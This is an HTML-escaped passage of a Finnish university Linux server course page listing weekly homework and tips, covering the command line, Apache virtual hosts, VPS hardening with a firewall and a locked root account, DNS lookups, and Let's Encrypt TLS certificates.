Linux-kuvia voi ladata myös &lt;a href=&quot;https://mirror.dkm.cz/debian-cd/12.9.0-live/amd64/bt-hybrid/&quot;&gt;Torrent-vertaisverkosta&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Kirjoita raporttia samalla kun työskentelet&lt;/li&gt;
&lt;li&gt;Johanna 2025: &lt;a href=&quot;https://github.com/johannaheinonen/johanna-test-repo/blob/main/linux-20082025.md&quot;&gt;Install Debian 13-Trixie with VirtualBox&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Johannan artikkelista näkyy, miten VirtualBoxilla tehdään uusi virtuaalikone&lt;/li&gt;
&lt;li&gt;Pikkumuutoksia, nämä tekisin ehkä eri lailla kuin artikkelissa: Kannataa laittaa levytilaksi 40 GB tai enemmän. Kannattaa laitta useampi prosessoriydin.&lt;/li&gt;
&lt;li&gt;Iso muutos: Aloita asennus live-työpöydältä. Tämä on helpompaa, ja lopputulos on yleensä parempi. Valitse siis bootissa Live / Try / Live Desktop tms. Ei kannata valita boottivalikossa install-vaihtoehtoa, joka avaa rajoitetumman asennusohjelman.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Jos jäät jumiin, tee vielä tarkempi raportti hankalasta kohdasta. Ota kaikki virheilmoitukset talteen. Luettele eri valitsemasi lähestymistavat. Ja katsotaan tunnilla yhdessä lisää.&lt;/li&gt;
&lt;li&gt;Arvioi kaksi tehtäväpalautusta, kun olet palauttanut omasi. (kuten aina)&lt;/li&gt;
&lt;li&gt;Weppisivun tekeminen Githubiin https://terokarvinen.com/2023/create-a-web-page-using-github/&lt;/li&gt;
&lt;li&gt;Ota ruutukaappauksia. &lt;a href=&quot;https://github.com/terokarvinen/dreamhugmonkey#adding-images-to-markdown&quot;&gt;Kuvia on helppo lisätä Markdowniin&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Palautus aina 24 h ennen seuraavaa tapaamiskertaa.&lt;/li&gt;
&lt;li&gt;Tee myös h0, jos se jäi tunnilla kesken&lt;/li&gt;
&lt;li&gt;Kohta sinulla on oma Linux-harjoitusympäristö, kokonaan omassa hallussa. Tunnilla nähdään!&lt;/li&gt;
&lt;li&gt;Muista lähdeviitteet
&lt;ul&gt;
&lt;li&gt;Kurssi&lt;/li&gt;
&lt;li&gt;Tehtävänannot https://terokarvinen.com/linux-palvelimet/&lt;/li&gt;
&lt;li&gt;Manuaalisivut&lt;/li&gt;
&lt;li&gt;Weppisivut&lt;/li&gt;
&lt;li&gt;ja kaikki muutkin käyttämäsi lähteet&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Muista myös merkitä, mikä tieto on mistäkin lähteestä kotoisin.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h2-komentaja-pingviini&quot;&gt;h2 Komentaja Pingviini &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#h2-komentaja-pingviini&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä (Muutama ranskalainen viiva riittää. Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella. Lisää jokin oma kysymys, idea tai huomio)
&lt;ul&gt;
&lt;li&gt;Karvinen 2020: &lt;a href=&quot;https://terokarvinen.com/2020/command-line-basics-revisited/?fromSearch=command%20line%20basics%20revisited&quot;&gt;Command line basics revisited&lt;/a&gt; (nämä komennot ja hakemistot kannattaa myös opiskella ulkoa ja harjoitella automaatiotasolle)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Micro. Asenna micro-editori.&lt;/li&gt;
&lt;li&gt;b) Apt. Asenna kolme itsellesi uutta komentoriviohjelmaa. Kokeile kutakin ohjelmaa sen pääasiallisessa käyttötarkoituksessa. Ota ruutukaappaus. Kaikki terminaaliohjelmat kelpaavat, TUI (text user interface) ja CLI (command line interface). Osaatko tehdä apt-get komennon, joka asentaa nämä kolme ohjelmaa kerralla?&lt;/li&gt;
&lt;li&gt;c) FHS. Esittele kansiot, jotka on listattu &quot;Command Line Basics Revisited&quot; kappaleessa &quot;Important directories&quot;. Näytä kuvaava esimerkki kunkin tärkeän kansion sisältämästä tiedostosta tai kansiosta. Jos kyseessä on tiedosto, näytä siitä kuvaava esimerkkirivi. Työskentele komentokehotteessa ja näytä komennot, joilla etsit esimerkit.&lt;/li&gt;
&lt;li&gt;d) The Friendly M. Näytä 2-3 kuvaavaa esimerkkiä grep-komennon käytöstä. Ohjeita löytyy &#39;man grep&#39; ja tietysti verkosta.&lt;/li&gt;
&lt;li&gt;e) Pipe. Näytä esimerkki putkista (pipes, &quot;|&quot;).&lt;/li&gt;
&lt;li&gt;f) Rauta. Listaa testaamasi koneen rauta (‘sudo lshw -short -sanitize’). Asenna lshw tarvittaessa. Selitä ja analysoi listaus.&lt;/li&gt;
&lt;li&gt;g) Vapaaehtoinen: Valitse muutama rivi lokeista. Tulkitse ja analysoi.&lt;/li&gt;
&lt;li&gt;h) Vapaaehtoinen: Asenna jokin plugin micro-editorille ja kokeile sitä. Vaikkapa palettero, cheat tai runit.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkkejä:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ohjelmien asennus
&lt;ul&gt;
&lt;li&gt;sudo apt-get update&lt;/li&gt;
&lt;li&gt;apt-cache search version control&lt;/li&gt;
&lt;li&gt;apt-cache show git&lt;/li&gt;
&lt;li&gt;sudo apt-get -y install git&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Selitä ja analysoi - rautatehtävässä tärkeää on siis oma analyysi ja selitys, ei pelkkä listaus&lt;/li&gt;
&lt;li&gt;Lokit
&lt;ul&gt;
&lt;li&gt;journalctl -f&lt;/li&gt;
&lt;li&gt;sudo journalctl&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h3-hello-web-server&quot;&gt;h3 Hello Web Server &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#h3-hello-web-server&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Tästä alkaa demonien osuus. Seuraavien viikkojen aikana opit rakentamaan weppipalvelun ja vuokraamaan sille paikan julkisesta pilvestä.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Nyt kokeillaan soveltaa ohjeita. Name Based Virtual Host -tehtävän haaste tulee siitä, että saat tehdä itsellesi uusia asetuksia ohjeista.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä (Muutama ranskalainen viiva kustakin artikkelista riittää. Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella)
&lt;ul&gt;
&lt;li&gt;The Apache Software Foundation 2023: Apache HTTP Server Version 2.4 Documentation: &lt;a href=&quot;https://httpd.apache.org/docs/2.4/vhosts/name-based.html&quot;&gt;Name-based Virtual Host Support&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Karvinen 2018: &lt;a href=&quot;https://terokarvinen.com/2018/04/10/name-based-virtual-hosts-on-apache-multiple-websites-to-single-ip-address/&quot;&gt;Name Based Virtual Hosts on Apache – Multiple Websites to Single IP Address&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Testaa, että weppipalvelimesi vastaa localhost-osoitteesta. Asenna Apache-weppipalvelin, jos se ei ole jo asennettuna.&lt;/li&gt;
&lt;li&gt;b) Etsi lokista rivit, jotka syntyvät, kun lataat omalta palvelimeltasi yhden sivun. Analysoi rivit (eli selitä yksityiskohtaisesti jokainen kohta ja numero, etsi tarvittaessa lähteitä).&lt;/li&gt;
&lt;li&gt;c) Etusivu uusiksi. Tee uusi &lt;em&gt;name based virtual host&lt;/em&gt;. Sivun tulee näkyä suoraan palvelimen etusivulla http://localhost/. Sivua pitää pystyä muokkaamaan normaalina käyttäjänä, ilman sudoa. Tee uusi, laita vanhat pois päältä. Uusi sivu on hattu.example.com, ja tämän pitää näkyä: asetustiedoston nimessä, asetustiedoston ServerName-muuttujassa sekä etusivun sisällössä (esim title, h1 tai p).&lt;/li&gt;
&lt;li&gt;e) Tee validi HTML5 sivu.&lt;/li&gt;
&lt;li&gt;f) Anna esimerkit &#39;curl -I&#39; ja &#39;curl&#39; -komennoista. Selitä &#39;curl -I&#39; muutamasta näyttämästä otsakkeesta (response header), mitä ne tarkoittavat.&lt;/li&gt;
&lt;li&gt;m) Vapaaehtoinen, suosittelen tekemään: Hanki GitHub Education -paketti.&lt;/li&gt;
&lt;li&gt;o) Vapaaehtoinen, vaikea: Laita sama tietokone vastaamaan kahdellla eri sivulla kahdesta eri nimestä. Eli kaksi weppisiteä samalla koneelle, esim. foo.example.com ja bar.example.com. Voit simuloida nimipalvelun toimintaa hosts-tiedoston avulla.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ensi kerralla vuokrataan kone pilvestä. Kannattaa ottaa luottokortti mukaan. Myös debit-luottokortti käy. Vaikka käyttäisit ilmaisia Github Education -krediittejä, nekin tarvitsevat yleensä luottokortin. Suosittelen kokeilemaan oikeiden, tuotantoon kelpaavien palveluiden vuokraamista, mutta voin keksiä jonkin vaihtoehtotehtävän jos et halua.&lt;/p&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Esimerkkisivun poistaminen lienee lienee ainoa kohta, jossa ikinä muokkaat weppisivua pääkäyttäjän oikeuksin. &#39;echo hello|sudo tee /var/www/html/index.html&#39;&lt;/li&gt;
&lt;li&gt;&#39;sudo tail /var/log/apache2/access.log&#39;, &#39;sudo tail /var/log/apache2/error.log&#39;,&lt;/li&gt;
&lt;li&gt;&#39;tail -f /var/log/apache2/access.log&#39;, ctrl-C&lt;/li&gt;
&lt;li&gt;sudo systemctl enable --now apache2&lt;/li&gt;
&lt;li&gt;Kotisivu kielletty (403 Forbidden)? &#39;chmod ugo+x $HOME $HOME/public_html/&#39;, &#39;ls -ld $HOME $HOME/public_html/&#39;&lt;/li&gt;
&lt;li&gt;Karvinen 2012: &lt;a href=&quot;https://terokarvinen.com/2012/short-html5-page/&quot;&gt;Short HTML5 page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Onko weppisivu validi https://validator.w3.org&lt;/li&gt;
&lt;li&gt;sudo systemctl restart apache2&lt;/li&gt;
&lt;li&gt;Github Education
&lt;ul&gt;
&lt;li&gt;Aloita rekisteröimällä @haaga-helia.fi tunnus Githubiin.&lt;/li&gt;
&lt;li&gt;Jos sinulla on jo Github-tunnus, Haaga-Helian sähköpostiosoitteen voi liittää vanhaan tunnukseen.&lt;/li&gt;
&lt;li&gt;Muista klikata vahvistussähköposti.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://education.github.com/&quot;&gt;GitHub Education&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h4-maailma-kuulee&quot;&gt;h4 Maailma kuulee &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#h4-maailma-kuulee&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Enää ei tarvitse kirjoittaa pöytälaatikkoon.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä. Tiivistelmäksi riittää muutama ranskalainen viiva per artikkeli. (Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella)
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://susannalehto.fi/2022/teoriasta-kaytantoon-pilvipalvelimen-avulla-h4/&quot;&gt;Susanna Lehto 2022: Teoriasta käytäntöön pilvipalvelimen avulla (h4)&lt;/a&gt; (opiskelijan esimerkkiraportti), kohdat
&lt;ul&gt;
&lt;li&gt;a) Pilvipalvelimen vuokraus ja asennus&lt;/li&gt;
&lt;li&gt;d) Palvelin suojaan palomuurilla&lt;/li&gt;
&lt;li&gt;e) Kotisivut palvelimelle&lt;/li&gt;
&lt;li&gt;f) Palvelimen ohjelmien päivitys&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Karvinen 2012: &lt;a href=&quot;https://terokarvinen.com/2017/first-steps-on-a-new-virtual-private-server-an-example-on-digitalocean/&quot;&gt;First Steps on a New Virtual Private Server – an Example on DigitalOcean and Ubuntu 16.04 LTS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Vuokraa oma virtuaalipalvelin haluamaltasi palveluntarjoajalta. (Vaihtoehtona voit käyttää ilmaista kokeilujaksoa, GitHub Education krediittejä; tai jos mikään muu ei onnistu, voit kokeilla ilmaiseksi vagrant:ia paikallisesti. Suosittelen kuitenkin harjoittelemaan oikeilla, tuotantoon kelpaavilla julkisilla palveluilla).&lt;/li&gt;
&lt;li&gt;b) Tee alkutoimet omalla virtuaalipalvelimellasi: tulimuuri päälle, root-tunnus kiinni, ohjelmien päivitys.&lt;/li&gt;
&lt;li&gt;c) Asenna weppipalvelin omalle virtuaalipalvelimellesi. Korvaa testisivu. Kokeile, että se näkyy julkisesti. Kokeile myös eri koneelta, esim kännykältä. (Jos haluat tehdä oikeat weppisivut, tarvitset Name Based Virtual Hostin)&lt;/li&gt;
&lt;li&gt;d) Vapaaehtoinen: Laita omalle julkiselle palvelimellesi uusi Name Based Virtual Host. Kun sammutat muut weppisivut, niin se ainut näkyy nimestä riippumatta etusivulla. Name Based Virtual Host avulla pääset muokkaamaan kotisivuja normaalilla käyttäjällä, ilman sudoa.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sopivia virtuaalipalvelinten vuokraajia on paljon. Esimerkkejä: Linode, DigitalOcean, UpCloud.&lt;/li&gt;
&lt;li&gt;Aina hyvät salasanat. Salasana on todella tärkeä kohta tietoturvassa.&lt;/li&gt;
&lt;li&gt;Muista tehdä reikä tulimuuriin. sudo ufw allow 22/tcp; sudo ufw enable; sudo ufw allow 80/tcp&lt;/li&gt;
&lt;li&gt;Käyttäjälle saa sudo-oikeudet lisäämällä ryhmään &quot;sudo&quot;. Muita artikkelissa mainittuja ryhmiä &quot;adm&quot;, &quot;admin&quot;... ei välttämättä ole koneellasi.&lt;/li&gt;
&lt;li&gt;sudo apt-get update; sudo apt-get dist-upgrade; sudo systemctl reboot&lt;/li&gt;
&lt;li&gt;Nykyisin demonin uudelleenkäynnistys &#39;sudo systemctl restart apache2&#39; (ei enää service)&lt;/li&gt;
&lt;li&gt;Paketteja, joilla palvelimen hallinta on kivempaa. Ulkomuistista.
&lt;ul&gt;
&lt;li&gt;$ sudo apt-get update&lt;/li&gt;
&lt;li&gt;$ sudo apt-get -y install micro bash-completion openssh-client wget curl ufw&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SSH avaimen tekeminen. Ulkomuistista. Tässä &quot;$ &quot; on paikallisen koneen prompti, risuaita &quot;#&quot; komennon jälkeen on on kommentti
&lt;ul&gt;
&lt;li&gt;$ sudo apt-get update&lt;/li&gt;
&lt;li&gt;$ sudo apt-get -y install openssh-client&lt;/li&gt;
&lt;li&gt;$ ssh-keygen # enter, enter, enter&lt;/li&gt;
&lt;li&gt;$ micro $HOME/.ssh/id_rsa.pub # shift-alas valitsee rivin, ctrl-C kopioi, ctrl-Q lopeta&lt;/li&gt;
&lt;li&gt;Nyt voit liimata (Ctrl-V) avaimen selaimessa palveluntarjojan weppiliittymään. Tunnilla demonstroitiin UpCloud:n kanssa.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SSH julkisen avaimen kopiointi ja root-tunnuksen sulkeminen, ulkomuistista. Käytä omaa nimeäsi Jurpon tilalla ja oman palvelimen osoitetta 10.0.0.1 tilalla. Aina ja joka hetki hyvät salasanat. Tämä sopii tilanteissa, joissa ssh-kirjautuminen on automatisoitu root-tunnukselle, jolloin pitää luoda normaali käyttäjä sudo-oikeuksin ja sulkea root. Tässä kaukana olevan virtuaalikoneen root:in prompt on &quot;root# &quot;, normaalin käyttäjän &quot;jurpo$ &quot;. Paikallisen koneen prompti on &quot;local$ &quot;
&lt;ul&gt;
&lt;li&gt;Kirjaudu olemassaolevalla root-tunnuksella virtuaalikoneelle
&lt;ul&gt;
&lt;li&gt;local$ ssh root@10.0.0.1&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Lisää itsellesi sudo-käyttäjä
&lt;ul&gt;
&lt;li&gt;root# sudo adduser jurpo&lt;/li&gt;
&lt;li&gt;root# sudo adduser jurpo sudo&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kopioi root:n ssh-asetukset, jotta voit kirjautua myös uutena, omana käyttäjänä
&lt;ul&gt;
&lt;li&gt;root# sudo cp -rvn /root/.ssh/ /home/jurpo/&lt;/li&gt;
&lt;li&gt;root# sudo chown -R jurpo:jurpo /home/jurpo/&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Palaa paikalliselle koneelle ja kirjaudu uudelleen omana käyttäjänä
&lt;ul&gt;
&lt;li&gt;root# exit&lt;/li&gt;
&lt;li&gt;local$ ssh jurpo@10.0.0.1&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Sulje root-tunnus.
&lt;ul&gt;
&lt;li&gt;jurpo$ sudo usermod --lock root&lt;/li&gt;
&lt;li&gt;jurpo$ sudo mv -nv /root/.ssh /root/DISABLED-ssh/&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Perinteisesti lokit ovat olleet tekstitiedostoissa /var/log/ alla. Nyt ne ovat siirtymässä journalctl:n. &lt;a href=&quot;https://wiki.archlinux.org/title/Systemd/Journal&quot;&gt;Archwiki: systemd/Journal&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h5-nimekas&quot;&gt;h5 Nimekäs &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#h5-nimekas&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Lue itse: tämän kerran lukuläksy on etsiä itse laadukkaat lähteet kaikkiin vieraisiin käsitteisiin ja työkaluihin. Vastaukset tulevat osaksi analyysiä ja tulkintaa, erillisiä tiivistelmiä ei tällä kertaa tehdä.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a) Nimi. Laita julkinen nimi osoittamaan omaan koneeseesi. (Siis vastaava kuin terokarvinen.com. Nimen saattaa saada myös ilmaiseksi Github Education -paketilla. Suosittelen hankkimaan oikean nimen, mutta jos välttämättä haluat, voit myös simuloida nimen toimintaa paikallisesti hosts-tiedoston avulla.)&lt;/li&gt;
&lt;li&gt;b) Alidomain. Tee kaksi uutta alidomainia, jotka osoittava omaan koneeseesi. Esimerkiksi palvelu on example.com -&amp;gt; linuxkurssi.example.com. Alidomainit ovat tyypillisesti ilmaisia, kun sinulla on päädomain (example.com). Tässä tehtävässä riittää, että alidomainit avaavat saman sivun kuin päädomain. (Vapaaehtoinen bonus: Tee toinen alidomain A-tietueella ja toinen CNAME-tietueella. Vapaaehtoinen bonus: tee alidomainiin oma erillinen name based virtual host.)&lt;/li&gt;
&lt;li&gt;c) Tutki jonkin nimen DNS-tietoja &#39;host&#39; ja &#39;dig&#39; -komennoilla. Käytä kumpaakin komentoa kaikkiin nimiin ja vertaa tuloksia. Katso man-sivulta, miten komennot toimivat - esimerkiksi miten &#39;dig&#39; näyttää kaikki kentät. Analysoi tulokset, keskity nimipalvelimelta tulleisiin kenttiin (dig näyttää paljon muutakin tietoa). Etsi tarvittaessa uusia lähteitä haastaviin kohtiin. Sähköpostin todentamiseen liittyvät SPF ja DMARC -tietojen yksityiskohdat on jätetty vapaaehtoiseksi lisätehtäväksi. Tutkittavat nimet:
&lt;ul&gt;
&lt;li&gt;Oma domain-nimesi. Vertaa tuloksia nimen vuokraajan (namecheap.com, name.com...) weppiliittymässä näkyviin asetuksiin.&lt;/li&gt;
&lt;li&gt;Jonkin pikkuyrityksen, kerhon tai yksittäisen henkilön weppisivut. (Ei kuitenkaan kurssikaverin tällä viikolla vuokrattua nimeä).&lt;/li&gt;
&lt;li&gt;Jonkin suuren ja kaikkien tunteman palvelun tiedot.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;d) Vapaaehtoinen bonus: Aakkossalaattia sähköpostiin. Etsi palvelu, jonka DNS-tiedoissa on SPF ja DMARC. Selitä näiden kenttien osat ja vaikutukset yksityiskohtaisesti. Voit halutessasi käyttää tulkinnan apuna jotain ohjelmaa tai palvelua, kunhan selität ja tulkitset lopputuloksen myös itse.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Yksi hyvä domain-nimien vuokraaja on NameCheap. Muitakin hyviä on, mutta myös paljon huonoja. En suosittele Gandia enkä Godaddyä. Kannattaa valita NameCheap tai jokin palvelu, jonka tiedät omasta tai työkavereiden kokemuksista hyväksi.&lt;/li&gt;
&lt;li&gt;dig
&lt;ul&gt;
&lt;li&gt;Lue se man-sivu - dig-komento ei oletuksena näytä kaikkia tietueita.&lt;/li&gt;
&lt;li&gt;joskus &#39;dig&#39; pitää ajaa pari kertaa (oikealla asetksella), jotta kaikki kentät näkyvät&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tässä tehtävässä opit etsimään itse uusia lähteitä yksityiskohdista, jotka ovat sinulle uusia. (Ja tietysti myös nimipalvelua)&lt;/li&gt;
&lt;li&gt;Muista selittää uudet käsitteet ja merkitä lähdeviitteet selkeästi näkyviin.&lt;/li&gt;
&lt;li&gt;Suosittelen hankkimaan domain-nimen oikealta vuokraajalta, tarvittaessa GitHub Education -paketin ilmaistarjouksia hyödyntäen. Jos et jostain syystä halua, a-kohdan tylsempi mutta varmasti kokonaan ilmainen versio tehtävästä on simuloida nimiä esim. hosts-tiedoston avulla ja soveltaa tehtävää. Mutta suosittelen oikeita nimiä.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h6-salataampa&quot;&gt;h6 Salataampa &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#h6-salataampa&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä. Tiivistelmäksi riittää muutama ranskalainen viiva per artikkeli. (Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella)
&lt;ul&gt;
&lt;li&gt;Let&#39;s Encrypt 2024: &lt;a href=&quot;https://letsencrypt.org/how-it-works/&quot;&gt;How It Works&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The Apache Software Foundation 2025: Apache HTTP Server Version 2.4 [Official] Documentation: SSL/TLS Strong Encryption: How-To: &lt;a href=&quot;https://httpd.apache.org/docs/2.4/ssl/ssl_howto.html#configexample&quot;&gt;Basic Configuration Example&lt;/a&gt; (Ei &quot;Cipher Suites and Enforcing Strong Security&quot; eteenpäin. Certbot tekee meillä automaattisesti kaikki salaukseen liittyvät asetukset.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Let&#39;s. Hanki ja asenna palvelimellesi ilmainen TLS-sertifikaatti Let&#39;s Encryptilta. Osoita, että se toimii.&lt;/li&gt;
&lt;li&gt;b) A-rating. Testaa oma sivusi TLS jollain yleisellä laadunvarmistustyökalulla, esim. &lt;a href=&quot;https://www.ssllabs.com/ssltest/&quot;&gt;SSLLabs&lt;/a&gt; (Käytä vain tavanomaisia tarkistustyökaluja, ei tunkeutumistestausta eikä siihen liittyviä työkaluja)&lt;/li&gt;
&lt;li&gt;c) Vapaaehtoinen: Tee weppilomake, jossa on käyttäjätunnus ja salasana. Käytä salaamatonta http-yhteyttä. Sieppaa liikennettä (esim. Wireshark, ngrep). Mitä havaitset? Mitä vaikutuksia tällä on tietoturvaan?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Oikean sertifikaatin saa vain oikealle palvelimelle, jolla on oikea nimi. Suosittelen kokeilemaan sitä.&lt;/li&gt;
&lt;li&gt;Jos et pysty hankkimaan oikeaa sertifikaattia tai et muuten halua tehdä a-kohtaa, voit tehdä c-kohdan weppilomakkeen myös sen vaihtoehtotehtävänä; ja testata b-kohdassa vapaavalintaista weppisivua. Töissä tarvitset kuitenkin sertifikaatteja, joten suosittelen tekemään a:n eli hankkimaan oikean sertifikaatin.&lt;/li&gt;
&lt;li&gt;Ulkomuistista muutama pointti Let&#39;s Encryptin sertifikaateista
&lt;ul&gt;
&lt;li&gt;Ennenkuin aloitat
&lt;ul&gt;
&lt;li&gt;Potkaise demonia&lt;/li&gt;
&lt;li&gt;Kokeile, että weppisivusi toimii&lt;/li&gt;
&lt;li&gt;Kokeile, että weppisivusi näkyy julkisella domain-nimellä. Kannattaa kokeilla myös kännykästä.&lt;/li&gt;
&lt;li&gt;Avaa tulimuurista molemmat http eli 80/tcp; ja https eli 443/tcp.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;sudo apt-get install certbot python3-certbot-apache&lt;/li&gt;
&lt;li&gt;sudo certbot --apache --domains example.com,www.example.com&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Esimerkki alkuperäisestä asetustiedostosta (certbot tekee siihen muutoksia):&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;hl-text hl-html hl-basic&quot;&gt;&lt;span class=&quot;hl-meta hl-tag hl-other hl-html&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-tag hl-begin hl-html&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-other hl-html&quot;&gt;VirtualHost&lt;/span&gt; *:80&lt;span class=&quot;hl-punctuation hl-definition hl-tag hl-end hl-html&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
        ServerName helsinkirain.space
        ServerAlias www.helsinkirain.space
        DocumentRoot /home/reema/publicsites/reema

        &lt;span class=&quot;hl-meta hl-tag hl-other hl-html&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-tag hl-begin hl-html&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-other hl-html&quot;&gt;Directory&lt;/span&gt; /home/reema/publicsites/reema&lt;span class=&quot;hl-punctuation hl-definition hl-tag hl-end hl-html&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
                Require all granted
        &lt;span class=&quot;hl-meta hl-tag hl-other hl-html&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-tag hl-begin hl-html&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-other hl-html&quot;&gt;Directory&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-tag hl-end hl-html&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;hl-meta hl-tag hl-other hl-html&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-tag hl-begin hl-html&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-other hl-html&quot;&gt;VirtualHost&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-tag hl-end hl-html&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Opiskelijoiden https-vinkit (TLS-salaus weppipalvelimella):
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/gianglex/Linux-palvelimet/blob/main/h6/h6-salataampa.md&quot;&gt;Giang 2025: H6 - Salataampa&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Lego vs Certbot - Let&#39;s Encrypt sertifikaatti Apachella. &lt;a href=&quot;https://h.iskff.fi/#h6.md&quot;&gt;Isakoff 2025: H6 TLS Salaukset ja let’s encrypt&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
